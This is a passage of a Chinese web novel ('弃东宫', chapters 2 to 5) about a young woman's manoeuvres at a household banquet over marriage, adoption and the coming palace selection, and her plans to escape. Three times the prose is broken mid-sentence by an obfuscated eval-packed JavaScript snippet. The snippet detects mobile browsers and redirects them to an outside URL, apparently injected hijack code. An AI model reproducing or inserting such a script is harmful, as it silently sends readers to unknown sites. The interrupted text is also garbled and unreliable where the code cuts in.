《弃东宫》 2. 海棠坞 天色将晚未晚时，海棠坞已经挂起了灯笼。 老太太让人在海棠林子里摆了几张大圆桌，桌上是各色时令点心。 桂花糕、绿豆饼、玫瑰酥、核桃酪，还有用梨花花瓣做馅的糖蒸酥酪，白盈盈的，甜香丝丝缕缕。 三月的垂丝海棠最盛，粉白的花瓣密密匝匝压满枝头，风吹，哗哗作响，倒像是在神仙妃子们的地界儿。 荷香到时，席上已经坐了大半。 安北侯府的老太太坐在主座左手边，满头银发，精神矍铄。 身侧，端坐着一个约莫二十的年轻人，穿一身月灰直裰，面容清隽，眉目疏朗，通身读书人的自洽气度。 世子谢珩，当真是好一棵君子松。 而另一侧客席上，裴夫人带着两个儿子施施然入了座。 大公子裴子序一上来，便是豪饮几盏清酒，惹得几个姑娘掩面偷笑这不知礼的样儿。 二公子裴子年倒是面皮白净，嘴唇天生微微上翘，一副风流公子的模样。 荷香在末席等候，松散了肩腕处的青色披帛。 “五姑娘来了。”二太太周氏最先注意到她，笑盈盈地招招手，“快坐。不过，瞧瞧表姑娘这小脸，还是不太好啊，服了药不曾？” 荷香依礼行礼，声音温软：“谢二婶母挂念，服了药，已好些了。” 她说着话，便顺便瞧了瞧席面。 大太太和薛玉宜坐在主席右侧，两个人生得活活有七八分相似，皆是一副大气自然的作态，似乎半点没有因普度寺一事烦恼。 三房王氏捻着佛珠，口间喃喃有词。 身侧依次坐着二姑娘薛玉婉和三姑娘薛玉宁。 六姑娘薛玉安年纪最小，靠在奶娘怀里，已有些昏昏欲睡。 唯有二房的四姑娘薛玉柔今日打扮得格外娇艳。 桃红衫子配鹅黄裙子，鬓边簪了一朵新摘的海棠花，一双眼珠子滴溜溜地在裴家两位公子身上打转。 “老太太来了——” 孙嬷嬷一声通传，满桌人齐刷刷站起身。 相府老太太姓裴，当年是上京城里有名的才女。 嫁入薛家数十年，从孙媳妇做到老祖宗，说一不二了一辈子。 如今七十有三，是大临朝有名的长寿贵人。 老祖宗头上勒着藏蓝抹额，腕上一串松玉佛珠，颗颗油润、透亮。 “都坐吧。” 老太太在主位坐下，环顾一圈，停在身子单薄的荷香身上：“五丫头，风寒可好些了？” 荷香站起身，恭恭敬敬地答道：“谢祖母挂念，孙女已好多了。很快就能再侍奉在祖母身边了。” 六个姑娘家里头，荷香最关心她。 “好好好。”老太太点点头，“今儿风凉，莲心给你们姑娘带披风了不曾？” 莲心连忙福身：“带了带了，老太太放心。” 荷香心头一暖。 满府上下，除了莲心，大约也只有老太太会惦记她冷不冷。 只是这惦记里有多少真心、多少权衡，她前世没看明白，如今也不敢妄加揣测。 老祖宗又看向安北侯府的老夫人，笑道：“难得来一趟，今儿可得好好热闹热闹。” “这话就见外了，”侯府老夫人笑得爽朗，“我来你这儿，还客气什么？” 说话间，丫鬟们鱼贯而入，开始布菜。 先是八碟冷盘，再是热菜，一道一道往上端，清炖狮子头、松鼠鳜鱼、蟹粉豆腐…… 摆得满桌琳琅，热气腾腾。 酒过三巡，菜过五味。 薛玉宜点的两台戏唱到尾声，安北侯府的老太太先搁了筷子，拿帕子掖了掖嘴角，道：“不瞒您说，我今儿来，是想跟您商量商量，珩儿和宜姐儿的事。” 满桌的声音都歇了。 谢珩依旧端坐如松，只是耳根泛了红 “两个孩子都大了，”侯府老太太笑盈盈地看了谢珩一眼，“珩儿今年弱冠，宜姐儿也十八了。早些年的婚约，咱们两家心里都有数。我想着，是不是该挑个好日子，把婚事办了？” 话音刚落，薛玉宜就变了脸色。 她今日递了急信，推辞普度寺相见。 可心头也清楚，这段日子，正是临安帝的后宫遴选，太子邬晏绝不会在这个关头，求了圣旨来娶她。 薛玉宜不知为何好端端的，事情一下子全都乱了套，心中不免有些着急，连掩面饮了几口普洱，不叫人看见神色。 荷香看在眼里，心里头叹了口气。 大姐姐此刻，大约急得快要疯了。 她与太子邬晏私相授受已非一日两日，心里眼里都是那个东宫里的男人，哪里还容得下旁人？ 可这桩婚事是自幼定下的，两家长辈都在场。 薛玉宜若当场回绝，便是打了安北侯府的脸，宰相大人头一个饶不了她。 “亲家，真是有心了。”老太太神色如常，捧着嬷嬷递来的小暖炉，道，“但宜姐儿是我一手带大的，她的婚事，马虎不得。” 这话便是在打太极了。 侯府老夫人倒也不急，笑着附和了几句。 可裴夫人却在这时候搁下筷子，笑盈盈地开了口。 “说起婚事，我倒想起一桩事来。”裴夫人自得道，“这选秀的风声，想必诸位都听说了吧？” 除了早有耳目的几个贵人，其余丫鬟婆子和几个姑娘，都竖起了耳朵。 选秀？ 那可是举国的大事。 裴夫人是御史中丞的夫人，中丞掌的是风宪弹劾，与宫里走动得勤。 她嘴里出来的话，比深闺里的夫人小姐们更有分量。 “太后娘娘的意思，是今年无论如何都要给陛下挑几个合意的。” 裴夫人膝下只有两个儿子，因而放开了说道。 “你们可知，宫里头如今连个正儿八经主事的娘娘都没有。历朝历代，哪个后宫像咱们大临这般冷清？太后为这事儿，愁得头发都白了好几根呢。” 三房王氏放下佛珠，听得认真。 “裴夫人的意思是——” 王氏试探着问。 “我的意思是，”裴夫人有意无意地扫过席间的闺秀们，“这一回选秀，怕是不好躲。太后铁了心要给陛下选几个可心的人，满朝文武家的女儿，凡适龄者都在名册上。谁家想躲，那可得掂量掂量。” 薛玉宜的脸色又白了几分。 二太太周氏连忙接话：“话虽如此，可陛下的性子，这些年也不是没选过秀，选进宫去的，十个有九个都被好端端地送了回来……” “那是从前。”裴夫人意味深长地笑了笑，“陛下开国，如今朝局稳了，太后娘娘这回是动了真格的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550941|204338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这话一出，席间气氛微妙起来。 老祖宗在相府后宅里活了这么久，哪能不清楚她这个侄女的意思。 裴家无女，没办法在选秀里分一杯羹。 可相府有啊。 即便各房庶女过了明路，不还有一个才归姓没多久的表小姐么？ 等薛荷香过继到裴家，得了圣宠，到时候，两家亲如一体，也是互利共赢的好事一桩。 王氏却忽然叹了口气：“裴夫人说得是。只是这选秀，也不见得是什么好去处。” 她偏过头，看了眼身侧的薛玉婉。 “我们家玉婉身子弱，宁丫头年纪又小，若真被选上了，我这当娘的，反倒要睡不着觉了。” 这话说得倒是情真意切。 荷香不由多看了三太太一眼。 “三弟妹，”二房周氏笑着插嘴，“你这话可就不对了。一入宫门，那可就是天家的人了。若有福气得了圣宠，一步登天，那是什么光景？” “你不过说得轻巧，”三太太不紧不慢应道，“陛下的性子，满上京城谁不知道？冷得很。听说有一回，一位新进宫的美人不过多看了陛下一眼，便被罚去掖庭抄了三个月的经。” “这……” 席间儿女们顿时响起一阵倒吸凉气的声音。 荷香低头饮茶，回想前世。 她见过开国帝主邬君雪一面。 那是东宫的宫宴上，陛下驾临，满殿的人跪了一地。 她随邬晏跪在角落里，偷偷抬眼看了一眼。 那是个极冷淡的男人，龙章凤姿，目若寒星，不过坐了片刻，便起身离开。 但只是那一眼，荷香便记住了一个感受—— 那不是一个会爱人的男人。 “所以啊，”裴夫人接过话头，笑道，“选秀这回事，能不能得宠全看造化。但话又说回来，若是被留了牌子，那可就是一步登天。各家心里都有一本账，我就不多说了。” 说这话时，裴夫人瞧了瞧大夫人，又将目光落在末席不置一词的荷香身上。 从始至终，大夫人纹丝不动，仿佛这满桌的话都与她无关。 可荷香知道，对方心里不会平静。 因为按规矩，薛玉宜作为相府嫡长女，是必须参选的。 大夫人和薛玉宜这些年在太子身上用了多少心思，荷香心里大致有数。 如今选秀的风声紧了起来，倘若薛玉宜真的被留了牌子，那太子那边就彻底没戏了。 可若要躲选秀，就得在选秀章程正式下来之前把薛玉宜嫁出去。 嫁给谁？ 谢家来催婚了，裴家也是个备选，太子那边又迟迟不给准信。 大房的算盘，怕是不好拨了。 “贵老夫人。” 一直沉默的谢珩忽然站起身来，朝着上首拱手一礼。 满桌人都愣了愣。 荷香抬眼看去。 谢珩站在席间，灯影下身量颀长，站姿端正如松，目光坦荡如月，格外打眼。 “晚辈以为，”谢珩开口，清朗温润，“选秀是国之大典，宜妹妹身为相府嫡长女，品貌才学皆是上选，理当参选，为国尽忠。” 这话一出，满桌哗然。 安北侯府的老太太也懵了，扯了扯孙子的袖子，低声嗔怪道：“珩儿，你说什么呢——” 3. 论婚事 谢珩却不为所动，继续道：“只是参选在秋日，距今尚有半年。倘若在此期间，两家能将亲事定下，届时礼部那边自然会剔除宜妹妹的名额。晚辈以为，与其等一纸选秀文书下来再做打算，不如此刻就将婚事办了，也免得宜妹妹受那宫中繁礼之苦。” 他说完，又朝老太太深深一揖，姿态恭敬。 席间安静一息。 随即安北侯府的老太太率先笑了出来，拍着桌子道：“好！好！我孙儿说得在理！” 裴夫人理了理袖花，也跟着笑了起来。 薛玉宜却是彻底崩了心态。 她坐在那里，像是被人当众剥去了所有的伪装，忍不住向祖母投向求助的目光。 母亲本就不喜她与太子有私情，这般情态，更不会替她说话了。 “谢世子倒是个有心的。”老太太沉默良久，终于开了口，“只是婚姻大事，讲究个两厢情愿。宜姐儿的婚事，老婆子还得再想想。” 闻言，安北侯府的老太太变了神色，却又不得不止住话头：“是是是，您说得是。婚姻大事，急不得、急不得……” 被如此拒绝，谢珩倒也不显失落，又施了一礼，便端坐回去，从头到尾没有再看薛玉宜一眼。 薛玉宜垂下眼帘，不知是松了一口气，还是别的什么。 见席间安静下来，王氏搁下佛珠，开口道：“说起婚事，儿媳倒想起一桩事来。” 荷香心头一紧。 “咱们家五丫头今年也十六了，”三太太眸光悠悠落在荷香身上，“虽说有孝在身，可姑娘大了，总得有个着落。我听说，五丫头手上可有一笔不小的家产呢。她娘留下的那些铺子和田庄，年年都有出息。” 荷香握紧了袖中的手指。 今夜海棠坞的靶子，果然还是她。 听着三房有许婚的意思，裴夫人眉眼弯弯。 “说起五姑娘，我倒是有个主意——” 她故意迟疑，做足了不可说的模样，环顾席间一圈，方才不紧不慢道：“我膝下无女，素来羡慕有闺女的福气。五姑娘品貌出众，性子温婉，我瞧着实在喜欢。若是老太太肯割爱，将五姑娘过继到裴家，做我们家的女儿，那可真是天大的美事。” “……” 此话一出，周氏难掩惊愕，团扇停在半空，一时忘了摇。 谁都没料到裴夫人会说出这样一番话来。 这算盘打得，可真是好。 荷香不由心酸，前世她懵懵懂懂，就嫁进了东宫，这贵人间的尔虞我诈，却是没有少半分。 若是自己过继到裴家，改姓为裴，再以裴家女儿的身份送入宫中参选。 裴家便有了联姻皇室的筹码，而她手里的产业，自然而然也就成了裴家的囊中之物。 “瞧我这侄女，说的话倒是新鲜。” 老太太也有了几分恼意。 “五丫头虽不是薛家正经血脉，却也是老婆子看着长大的。你一张口就要过继过去，老婆子我，可舍不得！” 裴夫人连忙谄媚笑道：“老姑母疼五姑娘，侄女岂会不知？正因如此，侄女才觉着这是两利的事。您想啊，眼下选秀在即，五姑娘正值妙龄，若是留在相府，少不得也要跟着宜姐儿一道参选。” 裴夫人一副体己的姿态：“可若是过继到裴家，裴家自有名额，到时候五姑娘以裴家女儿的身份进宫，若能得圣上青眼，对裴家和薛家，都是天大的荣光不是？” 老太太混浊的老眼望着满树海棠，心下也再三考量着。 见老祖宗不说话，裴夫人自以为事已有三分成，笑得眼眯成了一条缝儿。 却听一向冷淡的大房开口：“裴夫人，五丫头虽不是我肚子里出来的，却也是薛家的骨血。过继一事，非同小可。私以为，不妥。” 这话说得倒是干脆。 荷香鸦黑长睫垂垂，心里已转了七八个弯。 大太太也并非真心维护她，只是不愿意放走一个用得顺手的棋子罢了。 若是她被过继到裴家，成了别人家的女儿，大太太还怎么拿她给薛玉宜做挡箭牌？ “夫人此言差矣。”裴夫人笑盈盈地摇着团扇，“过继是恩典，又不是断了亲。往后五姑娘叫您一声舅母，依然是舅母。只是多了裴家这门亲罢了，两家亲如一体，岂不是天大的好事？” “好事？”王氏叹气，“裴夫人，过继可不比寻常收养。改宗换姓，写入族谱，那可是要正儿八经办仪式的。五丫头若真成了裴家的女儿，日后婚事也好，家产也好，可都是裴家说了算了。您说好事，我倒想问问——这好事，是谁的好事？” 薛家这个表姑娘的产业落在相府手里，总比落到裴家手里强。 “三弟妹，”周氏让仆从收了残渣，道，“你这话可就差了。裴夫人好心好意要给五丫头一个前程，你倒好，张口就是家产家产的，听着多俗气。我倒觉得，这主意不错。” 她说着，便把话头引向荷香：“五丫头，你说呢？” 荷香慢慢站起来。 灯笼的光洒在她身上，水白的衣衫衬得她整个人清瘦单薄，仿若一枝亭亭的瘦竹。 “裴夫人厚爱，荷香愧不敢当。” 荷香暗暗揪住大腿，落下几滴珍珠似的泪来，看着叫人怜惜。 “母亲临终前嘱咐荷香，无论日后身在何处，都不可改换姓氏。母亲说，这姓氏是父亲留给荷香唯一的念想。荷香在母亲榻前立过誓，此生姓薛，不改宗祧。” 这话说出来，算是彻底回绝了裴夫人。 薛玉宜抬起头，又是满意，又是愧疚。 她大约是怕，怕荷香真的被过继出去，自己便再无人可用了。 如今荷香当众回绝了裴夫人，至少在选秀之前，荷香还是她的好妹妹。 “五丫头这句话，就是老婆子我，也要说一句好。” 老太太威仪气度，说道： “香姐儿虽不是咱薛家正经血脉，可她娘是我点头娶进门的。她爹没了，她娘没了，老婆子还在。谁想让她改姓，先问问老婆子答不答应。” 裴夫人脸色变了又变，终究还是挤出一个笑来，讪讪道：“既是老姑母舍不得，侄女自然不敢强求。来来来，吃菜，吃菜。” 她端起酒杯，遮住了脸上的尴尬。 荷香退回末席，松了口气。 她想回江南，可眼下看来，老太太并不打算放她走。 放在膝上的手，慢慢攥紧了些。 夜宴散场时，已是月上中天。 荷香扶着莲心的手往回走，穿过花园假山时，夜风拂过，满园海棠簌簌作响，月光将石子路铺成了一条银白的缎子。 她走得很快，只想早些回到玲珑阁。 “五姑娘，留步。” 一道懒洋洋的声音从假山后传来。 荷香停住，心尖警铃大作。 假山后转出一个人来。 正是裴家二公子裴子年。 他大约是喝了不少酒，脸上醺然的红，眼角也染了些桃花色，笑起来时一双眼睛眯得看不见眼珠。 “裴二公子。”荷香屈膝行礼，温软乖巧，“夜已深了，公子怎么还没回席上去？” “席上有什么意思。”裴子年将折扇一合，在手心里敲了敲，笑嘻嘻地走近了两步，“那些庸脂俗粉，哪有五姑娘这般清雅脱俗。” 他说话时，毫不掩饰地从眉眼看到下颌，再到颈侧，像是要把荷香从皮肉到骨头，都兀自吞咬个干净。 三分醉意、些许惊艳，还有赤裸裸的贪图。 荷香后退半步，收起笑容：“裴二公子说笑了。天色不早，公子请回吧。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550942|204338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急什么。” 裴子年非但不走，反倒又逼近了一步。 “方才席上我娘说要过继你，你不肯。不肯也好，你若真成了我妹妹，我倒不知该怎么办了。” 这话说得轻佻放肆，连莲心都变了脸色，上前半步挡在荷香面前：“裴二公子，您喝醉了，奴婢去叫人来……” “叫谁？” 裴子年伸手一拦，折扇啪地敲在莲心肩上，把小丫鬟吓得一个激灵。 “我和你主子说话，有你插嘴的份？” 荷香毅然伸出手，将莲心护到身后。 “裴二公子有什么话，明日再说也不迟。夜半花园，孤男寡女，传出去对公子的名声也不好。” “名声？”裴子年哈哈大笑，像是听到了什么天大的笑话，“我裴子年在外的名声，五姑娘难道没听说过？虱子多了不痒，债多了不愁，再加一条也没什么。” 他笑够了，收了扇子，向前一步，借着月光细细端详荷香的脸。 不多时，很是满意地啧了一声。 “怪道人都说江南出美人。你这双眼睛，生得当真是好。又黑又亮，像两颗浸在水里的葡萄。” 他歪着头，又说：“方才席间那些姑娘，个个涂脂抹粉，打扮得花枝招展，反倒俗了。倒是你，一身素衣裳，简简单单往那儿一坐，倒把满桌子的人都比下去了。” 荷香垂下长睫，遮住了眸底的厌恶：“裴二公子过誉。荷香不过是蒲柳之姿，当不得这般夸赞。” “蒲柳？”裴子年打断了她，折扇在掌心里一拍，“蒲柳是秋日才凋的，你这般形容，倒像是清池里的珍珠，白净净、娇嫩嫩的。” 他一身酒气，半点不顾礼仪。 “下午我可听那些婆子说，太子殿下身边的美人，都没有你这样一双眼睛。” 裴子年浑然不觉自己踩中了什么，还在自顾自地笑着：“你方才当众回绝了我娘，真是可惜了。上京城里多少贵人，偏你一个都不想攀？难不成是想回那江南，嫁给那些满身鱼腥味的商贾，暴殄天物？” 即便是泥人，也有了几分火气。 荷香转身欲走：“裴二公子，嫁谁不嫁谁，不劳您费心。” 她屈膝行了一礼，态度冷硬：“夜色已深，荷香告辞了。” 说完，也不等裴子年答话，拉着莲心绕过假山，快步往玲珑阁的方向走去。 有趣。 当真有趣。 他裴子年在脂粉堆里混了这么多年，见过多少美人。 娇媚的、端庄的、泼辣的、温顺的。 可像这位表小姐这样，看似温软如水，实则浑身是刺的，倒是头一回见。 不过刺再多又如何？ 玫瑰有刺，摘的时候小心些便是了。 至于她手里那些产业，那更是锦上添花的事。 裴子年越想越觉得这笔买卖划算。他将折扇啪地一合，在掌心里敲了敲，转身往席上走。 母亲说要过继，她不肯。 自己若是娶她，她大约也是不肯的。 可不肯又如何？ 不过是个父母双亡的孤女，寄人篱下，无依无靠。 相府老太太能护她一时，还能护她一世？ 族谱上添一笔，嫁谁、不嫁谁，难道还能由着她自己的性子来？ 裴子年想到这里，满意地笑了笑，摇着扇子踏月而去。 荷香快步穿过长廊，一路无话。 直到进了玲珑阁的门，才终于憋不住了。 “姑娘，那个裴二公子好生无礼！” 莲心一面替荷香解下披风，一面愤愤不平。 “什么江南美人、什么清池珍珠，听着像夸人，可他那眼神，简直把姑娘当成什么物件儿在打量似的！奴婢瞧他分明是喝了几杯酒，故意拦着姑娘不怀好意！” 4. 真心几何 “他何止是不怀好意。” 荷香坐到铜镜前。 镜中一张瓷净小脸，虽未张开，却已隐隐可见将来令人觊觎的好颜色。 前世，刚北投上京，府中稚儿懵懂，见这幅麒麟相，没少有人嗔厌。 可嫁入东宫后，邬晏虽厌恨于她，却也不许旁人碰她。 曾有一回宫宴，一位戍守边疆的宗室子弟多看两眼。第二日，便被邬晏寻了个由头，打发去了边关，再不得无由归朝。 那时，荷香还以为，是邬晏念在薛玉宜的情意上，存了几分愧疚。 后来才明白，那不过是男人对私有之物的本能护食罢了。 邬晏看她，与裴子年看她，本质上并无不同。 荷香是珍宝。 但可惜，无论是有身份压着，还是连遮羞布都懒得挂。 她自己，都做不得主。 但前世的经验，也未尝不曾教会荷香。 越是表现得惊慌失措，越会激起上京贵族的兴致。 裴子年这种人，在脂粉堆里混久了，什么样的美人没见过？ 恐怕，这位裴二公子，在花楼里吻过的姑娘，比荷香走过的路还要多！ 所以今晚步步分寸，都得拿捏好。 太硬了，他会记恨。 裴家是御史中丞，想给一个寄居的表小姐使绊子，多的是法子。 可若是太软了，他又会变本加厉，以为荷香欲拒还迎、半推半就。 这多可笑。 “莲心，今日我让你当掉的那些物件，拢共有多少银子了？” 莲心闻言，连忙去取了那只檀木匣子，又从床底下摸出一个青布小包，一并放在妆台上打开。 匣子里躺着几张当票，青布包里则是一叠小额银票并几块碎银子。 “拢共当了三回，加起来是四十二两。加上姑娘原先攒的十七两体己，统共五十九两。银票都缝进棉袄夹层了，碎银子留了几块以备不时之需。” 五十九两。 荷香在心里默默盘算。 从京城到扬州，若走水路，雇一条小船约莫二十两，船资连同沿途的吃住打点，两个人至少需要四五十两。 五十九两倒是勉强够用。 但到了扬州之后，赁屋子、打点旧仆、从相府留下的管事手里拿回产业。 桩桩件件，都少不了银子。 荷香又问：“普度寺的路线，你熟吗？” “奴婢只跟大房的管事嬷嬷去过一回。大约记得出西城门，过大石桥，一直往西就到了。途径徽乡的镇子时，有个渡口，能通运河，往南走两天两夜就能到扬州地界。” 荷香有了主意：“从明日起，你照常熬药。外头人问起，就说我一早一晚咳得厉害，实在是需要日子调养。” “奴省得。” “还有，”荷香拉过莲心的手，既是真心，也是思虑，“你寻个机会，去外头买两身粗布衣裳，藏在你自己的包袱里。” “不要放在玲珑阁里，就放在厨房后头的柴房里，用旧麻袋裹着。我本愁如何出城，但若是大姐姐亲自带车出府，我这个陪客顺理成章地跟上，连盘查都省了。” 今夜，荷香本想趁着海棠宴上，宾主欢乐，请辞江南。 可没想到，相府早就起了将她嫁人之心，以便占据父亲家产。 恐怕，在宰相大人眼里头，她这个表小姐，嫁给谁，都是顺心之事。 莲心哑然：“姑娘，您是要趁去普度寺的路上——” “嘘。现在什么也别说。” 荷香竖起一根手指压在唇边：“能不能走成，还要看祖母放不放人。明日我去请安，探探口风。” 她这般反复变卦，难免引起疑心，得让有个不得不去的名头才行。 莲心咬了咬唇：“姑娘，老太太会放吗？” 烛火莹莹，月已行到暮山，满园花影，照得薄霜雾掩。 良久，荷香才轻声说了两个字：“不会。” 老太太怎么会放走自己？ 海棠宴，是袒护，亦是滞留。 选秀在即，府里正是用人的时候。 薛玉宜和大房需要她，祖母也需要她这个乖巧听话的表姑娘来维持各房之间的平衡。 都说敌人的敌人，便是朋友。 相府有薛荷香这个活生生的外人，怎么会不和谐？ 六载光阴，阖府欢乐。 硬要算起来，她这个表小姐也出了些力气。 …… 次日一早，天刚蒙蒙亮，玲珑阁的烟囱便冒起了青烟。 莲心蹲在廊下的小药炉前，将一包苦药丢进砂锅里，味儿浓得呛人。 洒扫丫头们路过，纷纷捏着鼻子快步走，交头接耳窃语：“表小姐又病了，昨儿夜宴上的精神头看着还好好的呢……” 老祖宗的正院在相府正中偏东，院中种着两棵老树，枝繁叶茂，浓绿苍苍。 荷香到时，孙嬷嬷正在廊下吩咐小丫头洒扫，见了她，连忙迎上来： “五姑娘来了，快请进。老太太刚用过早膳，正歪在暖阁里看经书呢。” 荷香依言进了暖阁。 老太太倚在罗汉榻上，搭着胡商进来的绛色毯子，专注不已地凝视着薄黄纸页。 曦光蔼蔼，透过碧纱窗，照在满头银发上，倒有几分慈眉善目的佛像。 “祖母。”荷香屈膝行礼。 老太太朝她招招手：“来，坐到祖母这儿来。” 荷香在老太太脚边的矮墩上斜签着身子坐下。 老太太上下打量了她一眼，眉头便皱了起来：“昨儿回去又发热了？这气色比昨晚上还不如。” “服了药，夜里发了一身汗，早上便轻快了许多。”荷香温声答着，接过孙嬷嬷递来的茶，亲自捧给老太太，“祖母昨夜赏的云锦，孙女瞧过了，当真是好东西，孙女舍不得裁，想留着往后做嫁妆。” 老太太闻言，笑了：“你这丫头，是在试探祖母？放心，说了不让人打你嫁妆的主意，说话算话。” 荷香浅浅一笑，未置一词。 “在我跟前，什么知己话，都是说得的，”祖母说，“裴家想过继你，你昨晚哭成那般模样回绝了。人家想攀的富贵，你倒好，往地上摔。说说，你是怎么想的？” 荷香故作委屈，说道：“祖母，孙女知道裴夫人是好意。选秀在即，裴家无女，孙女若是过继过去，以裴家女儿的身份进宫，或许真能有一番前程。”她说着抬眼看向老太太，“可孙女不想。” “为何？裴家虽不比相府，那也是个好去处。一旦过继，我的香姐儿名头上便有了两个顶好的兄长。” 荷香一怔，旋即摇了摇头：“有祖母在，孙女便满足了。” 老太太拍了拍荷香的手背，道：“唉，你这孩子……有祖母在，谁也别想从相府把我的香姐儿夺了去！” …… “不过……”祖母叹气，“昨儿夜里，宜姐儿回去，哭了一场。” 荷香抬眼，指尖轻蜷：“大姐姐，如何了？” “你大姐姐这个人，看着娇纵，可心眼也大。” 老太太语气满是对嫡长女的纵容和心疼。 “谢家催婚催到这个份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550943|204338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上，你大舅母又不肯松口退亲，她夹在中间，难做得很。这孩子，从小被大房媳妇惯坏了，遇上事就只会哭。昨夜哭了半宿，今早来请安的时候眼圈还是红的，瞧着叫人心疼。” 荷香静静听着，隐约猜到了祖母接下来要说什么。 果然，老太太继续道：“宜姐儿的性子你比我清楚。她认准的事，九头牛都拉不回来。眼下普度寺祈福是礼部那边早就递过帖子的，咱们家不去不合适。” “宜姐儿一个人去，你大舅母不放心。可玉宜这些日子心神不宁的，也确实是需要出去走走，散散心。” 老太太说着，一副商商量量的宽容姿态：“荷香，阖府上下，宜姐儿只跟你亲近。你性子稳当，有你在她身边，我也放心些。你就再陪她走一趟，成不成？” 一念庆幸，一念失望。 荷香垂眼，掩盖心中情绪。 可她知道，从老祖宗嘴里说出来的话，从来就不是商量。 这是给相府五姑娘的台阶。 顺着下了，薛荷香还是老太太跟前最懂事的五丫头。 不下，就是不识抬举。 “祖母，”荷香柔柔蹙眉，雪白肌肤边露出一点梨涡，“这几日，我病得下不来床，实在是怕耽误了大姐姐的事。大姐姐若需要人陪，二姐姐、四姐姐都是好性子的人……” “你四姐姐如今一门心思往裴家钻，哪有心思陪你大姐姐去上香？” 祖母不以为然，轻哼道。 好好的姑娘，看上了裴子年那副花花公子的皮相，真是不可教也！ “三房的玉婉又不爱出门的，至于宁丫头和安丫头，年纪太小，去了也不顶事。况且，玉宜都和我说了，她就只跟你投缘。旁的人陪着，心里不自在。” 就只跟你投缘。 这句话落在荷香耳朵里，不过平增暧怼罢了。 祖母在这相府里活了五十年，什么事能逃过她的眼睛？ 可对薛玉宜和太子的私情，她选择了睁一只眼、闭一只眼。 甚至在此刻，祖母用投缘这样温情脉脉的字眼，把这桩不能见光的事，包装成姊妹情深。 荷香只觉得胸口有什么东西在往下沉，面上却依旧温温顺顺地挂着浅笑。 她轻声说：“大姐姐待荷香好，荷香心里一直记着。只是……孙女的病还没好利索，怕路上吹了风，反倒连累大姐姐照顾。” “病的事不打紧。等回来了，好好养着便是，我再让人给你送两枝老参过去，炖汤喝了，比什么药都强。” 话都说到了这个份上，荷香知道自己没有再推的余地了。 她娇嗔道：“祖母这般说，孙女哪还有不应的道理！孙女陪大姐姐去便是。” 老太太满意得连连点头： “好。祖母就知道你是个懂事的孩子。” 荷香从正院里出来时，外头日光正好。 三月的日头暖暖地洒在长廊上，梨花已经落了大半，枝头冒出嫩绿的叶芽。 她在廊下站了片刻，望着满园春色，忽然觉得有些恍惚。 这世上的好，都是有价码的。 薛玉宜的好，要荷香以身犯险来还，祖母的好，要乖乖听话来还。 没有人问过荷香，想不想去，也没有人问，她怕不怕。 他们只需要她点头、跟上、挡在前面。 前世如此，今生亦然。 荷香回到玲珑阁，身后的莲心连忙关上房门。 “老太太那边怎么说？”莲心急急地问。 “好好收拾东西。”荷香在妆台前坐下，“普度寺，我们照去。” 5. 桃仙子 普度寺之行定在三月十六。 荷香前一晚便打定主意。 横竖推不掉，不如大大方方地去，让所有人都看见她进了普度寺。 天还没亮透，莲心便捧了几件衣裳出来，搁在床沿上让她挑。 荷香一一看过，停在最后一件。 “那件新做的云锦。”她说。 莲心依言取出来，抖开。 这是祖母一月前赏的锦料裁的。 黛粉底子、料子极软，映出薄薄霞光。外罩一件雪白纱衫，领口绣着细碎的梨花瓣。 腰间束一条银粉宫绦，垂着两个小小的玉环，一走便叮咚轻响。 莲心正要替她穿，荷香却按住手。 “里面再加一套。” “什么？” 荷香起身走到衣箱前，翻到最底层，摸出一套叠得整整齐齐的衣裤。 那是她海棠宴上吩咐置办的衣物。 用素绢缝的，染了最不起眼的蟹壳青。上衫是窄袖短襦，下头是一条合裆收口的裈，腰间缀着双带，可以牢牢系紧，走跑蹲跳都不碍事。 可左看右看，和那黛粉仙裳，都是半点儿搭不上边的。 莲心有些迟疑：“姑娘，这裤子……” “穿在里头，谁也瞧不见。” 荷香将那条裈抖开，自己先套上了。 裤管宽松，在脚踝处收拢，束进罗袜里，半点痕迹不露。 然后才让莲心替她穿那套黛粉衣裙，一层一层，从头到尾遮得严严实实。 镜中人肤白如雪，乌发间簪一支羊脂玉钗。 黛粉色衬得她眉眼鲜嫩，像枝头刚绽的花苞，乖巧温驯，看不出半点异样。 “姑娘可真好看。”莲心喃喃道。 这番打扮，赴宴使得，赶路也使得。 “走吧。” 东边天上刚泛鱼肚白，相府门内已停着青帷马车。 薛玉宜比荷香早到，站在车前整理披帛，闻声回头，目光在荷香身上打转。 “妹妹，今日打扮得这样好看，”薛玉宜迎上来拉住她的手，一如既往的温婉，“我差点没认出来。” 